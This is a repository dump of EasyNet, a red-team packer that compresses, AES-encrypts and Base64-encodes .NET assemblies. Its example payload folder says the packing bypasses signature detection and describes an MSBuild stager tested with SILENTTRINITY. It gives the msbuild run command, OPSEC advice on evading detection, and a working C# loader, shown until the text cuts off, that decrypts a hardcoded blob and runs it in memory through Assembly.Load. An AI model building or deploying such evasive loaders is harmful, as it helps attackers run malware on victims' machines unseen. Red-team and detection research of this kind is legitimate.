C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Release\EasyNetLibrary.dll 5 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Release\EasyNetLibrary.pdb 6 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Release\EasyNet.csprojAssemblyReference.cache 7 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Release\EasyNet.csproj.CoreCompileInputs.cache 8 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Release\EasyNet.csproj.CopyComplete 9 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Release\EasyNet.exe 10 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Release\EasyNet.pdb 11 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Release\EasyNet.exe.config 12 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Release\EasyNet.exe 13 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Release\EasyNet.pdb 14 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Release\EasyNetLibrary.dll 15 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Release\EasyNetLibrary.pdb 16 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Release\EasyNet.csprojAssemblyReference.cache 17 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Release\EasyNet.csproj.CoreCompileInputs.cache 18 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Release\EasyNet.csproj.CopyComplete 19 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Release\EasyNet.exe 20 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Release\EasyNet.pdb 21 | -------------------------------------------------------------------------------- /EasyNet/obj/Release/EasyNet.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/EasyNet.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /EasyNet/obj/Release/EasyNet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/EasyNet.exe -------------------------------------------------------------------------------- /EasyNet/obj/Release/EasyNet.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/EasyNet.pdb -------------------------------------------------------------------------------- /EasyNet/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /EasyNet/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /EasyNet/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /EasyNetLibrary/ClassDiagram1.cd: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | AAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAI= 7 | EasyNetPacker.cs 8 | 9 | 10 | 11 | 12 | 13 | AAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAABAIAA= 14 | EasyNetPacker.cs 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /EasyNetLibrary/EasyNetLibrary.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {BA33F716-91E0-4CF7-B9BD-B4D558F9A173} 8 | Library 9 | Properties 10 | EasyNetLibrary 11 | EasyNetLibrary 12 | v4.7.2 13 | 512 14 | true 15 | 16 | 17 | 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | false 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /EasyNetLibrary/EasyNetPacker.cs: -------------------------------------------------------------------------------- 1 | /* Description: Provides a simple API for using the EasyNet packing algorithm. 2 | * 3 | * Author: The Wover 4 | * 5 | * Referemces: 6 | * GZip .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream 7 | * AES .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesmanaged 8 | * Base64 .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.convert.tobase64string 9 | */ 10 | 11 | using System; 12 | using System.IO; 13 | using System.IO.Compression; 14 | using System.Security.Cryptography; 15 | 16 | namespace EasyNetLibrary 17 | { 18 | /// 19 | /// Provides a simple API for packing and unpacking arbitrary data using the EasyNet packing algorithm. 20 | /// 21 | /// 22 | /// 23 | /// EasyNet packs (and unpacks) arbitrary data using the GZip -> AES-256 -> Base64 algorithms. 24 | /// All APIs used are native to the .NET Framework, and have been for a long time. 25 | /// The AES key and IV are randomly generated at runtime and provided in the result. 26 | /// 27 | /// 28 | /// 29 | /// EasyNetResult packed = EasyNet.Pack(bytes); //Pack an array of bytes 30 | /// 31 | /// string result = packed.blob; //Packed data 32 | /// string key = packed.key; //Randomly generated AES key represented as base64 string 33 | /// string iv = packed.iv; //Randomly generated AES IV represented as base64 string 34 | /// 35 | /// byte[] unpacked = EasyNet.Unpack(packed); //Unpack previously packed data. 36 | /// 37 | public static class EasyNetPacker 38 | { 39 | 40 | /// 41 | /// Packs an arbitrary byte array using the EasyNet Algorithm. 42 | /// 43 | /// Input bytes to pack. 44 | /// 45 | public static EasyNetResult Pack(byte[] bytes) 46 | { 47 | 48 | //Create a disposable stream for holding the input bytes 49 | using (MemoryStream stream = new MemoryStream(bytes)) 50 | { 51 | using (MemoryStream compressedMemoryStream = new MemoryStream()) 52 | { 53 | //Create a disposable compression stream 54 | using (GZipStream compressionStream = new GZipStream(compressedMemoryStream, CompressionMode.Compress)) 55 | { 56 | //Compress the data 57 | stream.CopyTo(compressionStream); 58 | //Make sure to close the stream so that the data gets properly flushed into the output buffer 59 | compressionStream.Close(); 60 | 61 | //Create a disposable AES class 62 | using (AesManaged aesAlg = new AesManaged()) 63 | { 64 | // Create an encryptor to perform the stream transform. 65 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); 66 | 67 | // Create the streams used for encryption. 68 | using (MemoryStream msEncrypt = new MemoryStream()) 69 | { 70 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) 71 | { 72 | //Encrypt the daata stream 73 | csEncrypt.Write(compressedMemoryStream.ToArray(), 0, compressedMemoryStream.ToArray().Length); 74 | csEncrypt.FlushFinalBlock(); 75 | 76 | //Create a results struct and return it 77 | return new EasyNetResult(Convert.ToBase64String(msEncrypt.ToArray()), //Converts the result to a base64 string 78 | Convert.ToBase64String(aesAlg.Key), //The base64 encoded AES key. 79 | Convert.ToBase64String(aesAlg.IV)); //The base64 encoded IV. 80 | } 81 | } 82 | } 83 | } 84 | } 85 | } 86 | }//end method 87 | 88 | /// 89 | /// Unpacks data previously packed using the EasyNet packing algorithm. 90 | /// 91 | /// A struct containing previously packed data, as well as the base64-encoded AES key and IV necessary to unpack it. 92 | /// The unpacked data as a byte array. 93 | public static byte[] Unpack(EasyNetResult packed) 94 | { 95 | // Validate the input 96 | if (packed.blob == null || packed.blob.Length <= 0) 97 | throw new ArgumentNullException("plainText"); 98 | if (packed.key == null || packed.key.Length <= 0) 99 | throw new ArgumentNullException("Key"); 100 | if (packed.iv == null || packed.iv.Length <= 0) 101 | throw new ArgumentNullException("IV"); 102 | 103 | 104 | // Create an AesManaged object with the specified key and IV. 105 | using (AesManaged aesAlg = new AesManaged()) 106 | { 107 | //Decode and use the AES key and IV 108 | aesAlg.Key = Convert.FromBase64String(packed.key); 109 | aesAlg.IV = Convert.FromBase64String(packed.iv); 110 | 111 | // Create a decryptor to perform the stream transform. 112 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); 113 | 114 | // Create the streams used for decryption. 115 | using (MemoryStream msDecrypt = new MemoryStream(Convert.FromBase64String(packed.blob))) 116 | { 117 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 118 | { 119 | using (MemoryStream decryptBuffer = new MemoryStream()) 120 | { 121 | //Decrypt the data 122 | csDecrypt.CopyTo(decryptBuffer); 123 | 124 | // Create the streams used to decompress 125 | using (MemoryStream compressedMemoryStream = new MemoryStream(decryptBuffer.ToArray())) 126 | { 127 | using (MemoryStream decompressedMemoryStream = new MemoryStream()) 128 | { 129 | compressedMemoryStream.Position = 0; 130 | using (GZipStream decompressionStream = new GZipStream(compressedMemoryStream, CompressionMode.Decompress)) 131 | { 132 | //Decompress the data 133 | decompressionStream.CopyTo(decompressedMemoryStream); 134 | 135 | 136 | // Read the decomoresses bytes from the decompressed stream 137 | return decompressedMemoryStream.ToArray(); 138 | } 139 | } 140 | } 141 | } 142 | } 143 | } 144 | } 145 | }// end method 146 | 147 | /// 148 | /// Extension method for Streams that provides CopyTo functionality for early .NET versions. 149 | /// Only useful before .NET 4 150 | /// 151 | /// From: https://stackoverflow.com/questions/5730863/how-to-use-stream-copyto-on-net-framework-3-5 152 | /// 153 | /// This stream being referenced. 154 | /// The target stream where the data will be copied to. 155 | public static void CopyTo(this Stream input, Stream output) 156 | { 157 | byte[] buffer = new byte[16 * 1024]; // Fairly arbitrary size 158 | int bytesRead; 159 | 160 | while ((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0) 161 | { 162 | output.Write(buffer, 0, bytesRead); 163 | } 164 | }//end method 165 | }//end class 166 | 167 | 168 | /// 169 | /// Wraps the results of the EasyNet packing algorithm. Includes the packed blob, as well as everything necessary to unpack it. 170 | /// 171 | public struct EasyNetResult 172 | { 173 | public string blob; //EasyNet-packed data blob 174 | public string key; //Base64-encoded AES key 175 | public string iv; //Base64-encoded AES IV 176 | 177 | /// Packed blob produced as a result of the EasyNet packing algorithm. 178 | /// Base64-encoded AES-256 key. 179 | /// Base64-encoded AES IV. 180 | public EasyNetResult(string inputBlob, string inputKey, string inputIV) 181 | { 182 | blob = inputBlob; 183 | key = inputKey; 184 | iv = inputIV; 185 | }//end constructor 186 | }//end struct 187 | }//end namespace 188 | -------------------------------------------------------------------------------- /EasyNetLibrary/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("EasyNetLibrary")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("EasyNetLibrary")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("ba33f716-91e0-4cf7-b9bd-b4d558f9a173")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /EasyNetLibrary/README.md: -------------------------------------------------------------------------------- 1 | # EasyNet Library 2 | 3 | Provides a simple API for using the EasyNet packing algorithm in C#. 4 | 5 | Namespace: EasyNetLibrary 6 | 7 | ![Alt text](https://github.com/TheWover/EasyNet/blob/master/img/API.JPG?raw=true "Class Diagram") 8 | 9 | Basic Usage: 10 | 11 | ```csharp 12 | 13 | EasyNetResult packed = EasyNet.Pack(bytes); //Pack an array of bytes 14 | 15 | string result = packed.blob; //Packed data 16 | string key = packed.key; //Randomly generated AES key represented as base64 string 17 | string iv = packed.iv; //Randomly generated AES IV represented as base64 string 18 | 19 | byte[] unpacked = EasyNet.Unpack(packed); //Unpack previously packed data. 20 | 21 | ``` 22 | 23 | Unpacking data packed by another program using EasyNet: 24 | 25 | ```csharp 26 | 27 | //Get the AES-256 Key and IV. 28 | string key = "zFNCf6AvQI7NCQrx43x6mIVmYYdZ+O1n+8NL29+IhEo="; 29 | string iv = "AxnDDpUzglq9HkkqbjNEnA=="; 30 | 31 | //Construct a struct to wrap the packed payload. 32 | EasyNetResult packed; 33 | 34 | //Save the AES variables. 35 | packed.key = key; 36 | packed.iv = iv; 37 | 38 | //Get the packed blob from a file, resource, etc. Provide it as a string. 39 | packed.blob = "4mU...w=="; 40 | 41 | byte[] unpacked = EasyNet.Unpack(packed); //Unpack the data. 42 | 43 | ``` 44 | 45 | Including the library: 46 | 47 | To use EasyNet as a library, include it as a reference in your project. 48 | 49 | If you want to use EasyNet without requiring the DLL to exist on-disk, you can use [ILMerge](https://github.com/dotnet/ILMerge) or [Costura](https://github.com/Fody/Costura) to merge the DLL into your executable. -------------------------------------------------------------------------------- /EasyNetLibrary/bin/Debug/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/bin/Debug/EasyNetLibrary.dll -------------------------------------------------------------------------------- /EasyNetLibrary/bin/Debug/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/bin/Debug/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /EasyNetLibrary/bin/Release/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/bin/Release/EasyNetLibrary.dll -------------------------------------------------------------------------------- /EasyNetLibrary/bin/Release/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/bin/Release/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/EasyNetLibrary.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 13eda68ca78f66facd6c080fdc4efbdc1584737d 2 | -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/EasyNetLibrary.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\bin\Debug\EasyNetLibrary.dll 2 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\bin\Debug\EasyNetLibrary.pdb 3 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Debug\EasyNetLibrary.csproj.CoreCompileInputs.cache 4 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Debug\EasyNetLibrary.dll 5 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Debug\EasyNetLibrary.pdb 6 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\bin\Debug\EasyNetLibrary.dll 7 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\bin\Debug\EasyNetLibrary.pdb 8 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\obj\Debug\EasyNetLibrary.csproj.CoreCompileInputs.cache 9 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\obj\Debug\EasyNetLibrary.dll 10 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\obj\Debug\EasyNetLibrary.pdb 11 | -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Debug/EasyNetLibrary.dll -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Debug/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Debug/project.razor.json: -------------------------------------------------------------------------------- 1 | { 2 | "ProjectFilePath": "c:\\Users\\Shawn\\Documents\\GitHub\\EasyNet\\EasyNetLibrary\\EasyNetLibrary.csproj", 3 | "TargetFramework": "v4.7.2", 4 | "TagHelpers": [], 5 | "Configuration": { 6 | "ConfigurationName": "UnsupportedRazor", 7 | "LanguageVersion": "1.0", 8 | "Extensions": [ 9 | { 10 | "ExtensionName": "UnsupportedRazorExtension" 11 | } 12 | ] 13 | } 14 | } -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/EasyNetLibrary.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 13eda68ca78f66facd6c080fdc4efbdc1584737d 2 | -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/EasyNetLibrary.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\bin\Release\EasyNetLibrary.dll 2 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\bin\Release\EasyNetLibrary.pdb 3 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.csproj.CoreCompileInputs.cache 4 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.dll 5 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.pdb 6 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.csprojAssemblyReference.cache 7 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\bin\Release\EasyNetLibrary.dll 8 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\bin\Release\EasyNetLibrary.pdb 9 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.csproj.CoreCompileInputs.cache 10 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.dll 11 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNetLibrary\obj\Release\EasyNetLibrary.pdb 12 | -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Release/EasyNetLibrary.dll -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Release/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /EasyNetLibrary/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNetLibrary/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /ExamplePayload/Readme.md: -------------------------------------------------------------------------------- 1 | # Example Payload 2 | 3 | This example demonstrates how to use EasyNet for crafting payloads. The example in question is an MSBuild XML file containing C# code. The code unpacks and loads a .NET Assembly that was previously packed by EasyNet. The AES key, IV, and the packed Assembly are all hardcoded into the XML file. By using EasyNet, we can build an on-disk loader that does not need to stage from a server, while ensuring that we bypass any signature detection for our embedded payload. I originally created this for staging SILENTTRINITY, and have tested it. 4 | 5 | I have provided two files: 6 | 7 | * msbuild_example.xml - This is the MSBuild XML file that I refer to above. 8 | * TestCode.cs - This contains the code from the XML file as a usable C# program so that you can test your code on its own before embedding it into the XML. It is also worth noting that this example demonstrates how to unpack EasyNet code WITHOUT using the EasyNet DLL or source code in your program. 9 | 10 | Inside of the XML file, examples are provided for loading both DLLs and EXEs. Once you have added in your own payload, you can run it using the command below: 11 | 12 | ``` 13 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild_example.xml 14 | ``` 15 | 16 | ## ATT&CK Mapping 17 | 18 | ATT&CK ID: T1127 19 | 20 | Technique Name: Trusted Developer Utitlities 21 | 22 | ATT&CK Framework Link: https://attack.mitre.org/techniques/T1127/ 23 | 24 | 25 | ## OPSEC note: 26 | 27 | Using C# for MSBuild payloads results in more anomalous behaviour than using JScript. When the payload is run, a csc.exe process will start in the background that compiles the code to a temp executable and runs it. All techniques that leverage C# inside of XML work this way. The tradeoff is that, while using C# is noisier in terms of process behavior, it is more flexible than JScript and is not as thoroughly detected as popular tools such as DotNetToJScript. -------------------------------------------------------------------------------- /ExamplePayload/TestCode.cs: -------------------------------------------------------------------------------- 1 | /* Description: Test program for designing XML stagers written in C#. 2 | * Loads a packed .NET Assembly from memory. Can use threading. 3 | * Uses only .NET API calls. No Pinvoke or marshalling. 4 | * Currently only .NET 4.0+ compatible. Could be fixed by replacing CopyTo. 5 | * 6 | * Example program simply prints Hello World. 7 | * 8 | * Inspired a bit from bytebl33d3r's msbuild stager for SILENTTRINITY. 9 | * 10 | * Author: The Wover 11 | * 12 | * Referemces: 13 | * GZip .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream 14 | * AES .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesmanaged 15 | * Base64 .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.convert.tobase64string 16 | * Anonymous Methods: https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/statements-expressions-operators/anonymous-methods 17 | * Action Delegates: https://docs.microsoft.com/en-us/dotnet/api/system.action 18 | * Tasks: https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.task 19 | */ 20 | 21 | using System; 22 | using System.Collections.Generic; 23 | using System.IO; 24 | using System.IO.Compression; 25 | using System.Reflection; 26 | using System.Security.Cryptography; 27 | 28 | namespace XMLCSharpTest 29 | { 30 | class Program 31 | { 32 | static void Main(string[] cmdargs) 33 | { 34 | //Whether or not to use a new thread 35 | bool threading = false; 36 | 37 | //Create the list of parameters 38 | List parameters = new List(); 39 | 40 | //parameters.Add("example"); 41 | 42 | object[] args = new object[] { parameters.ToArray() }; 43 | 44 | // Create an AesManaged object with the specified key and IV. 45 | using (AesManaged aesAlg = new AesManaged()) 46 | { 47 | //Decode and use the AES key and IV 48 | aesAlg.Key = Convert.FromBase64String("59Csp5LkkRFUYB4ItQnjQATft27chUCHtVNGc8WY/bw="); 49 | aesAlg.IV = Convert.FromBase64String("xOpJtzdoQkEfFHbB8v0LPQ=="); 50 | 51 | // Create a decryptor to perform the stream transform. 52 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); 53 | 54 | // Create the streams used for decryption. 55 | using (MemoryStream msDecrypt = new MemoryStream(Convert.FromBase64String("opN9x+zw...snipped...KmD"))) 56 | { 57 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 58 | { 59 | using (MemoryStream decryptBuffer = new MemoryStream()) 60 | { 61 | //Decrypt the data 62 | csDecrypt.CopyTo(decryptBuffer); 63 | 64 | // Create the streams used to decompress 65 | using (MemoryStream compressedMemoryStream = new MemoryStream(decryptBuffer.ToArray())) 66 | { 67 | using (MemoryStream decompressedMemoryStream = new MemoryStream()) 68 | { 69 | compressedMemoryStream.Position = 0; 70 | using (GZipStream decompressionStream = new GZipStream(compressedMemoryStream, CompressionMode.Decompress)) 71 | { 72 | //Decompress the data 73 | decompressionStream.CopyTo(decompressedMemoryStream); 74 | 75 | Action action = () => 76 | { 77 | //FOR EXE 78 | //Assembly.Load(decompressedMemoryStream.ToArray()).EntryPoint.Invoke(null, args); 79 | 80 | //FOR DLL - NONSTATIC METHOD 81 | /** 82 | Assembly a = Assembly.Load(decompressedMemoryStream.ToArray()); 83 | Type t = a.GetType(a.GetTypes()[0].Namespace + ".Program"); 84 | object classInstance = Activator.CreateInstance(t, null); 85 | MethodInfo methodInfo = t.GetMethod("Main", BindingFlags.InvokeMethod | BindingFlags.NonPublic); 86 | methodInfo.Invoke(classInstance, args); 87 | **/ 88 | 89 | //FOR DLL - STATIC METHOD 90 | Assembly a = Assembly.Load(decompressedMemoryStream.ToArray()); 91 | Type t = a.GetType(a.GetTypes()[0].Namespace + ".Program"); 92 | MethodInfo methodInfo = t.GetMethod("Main", BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Static); 93 | methodInfo.Invoke(null, args); 94 | }; 95 | 96 | if 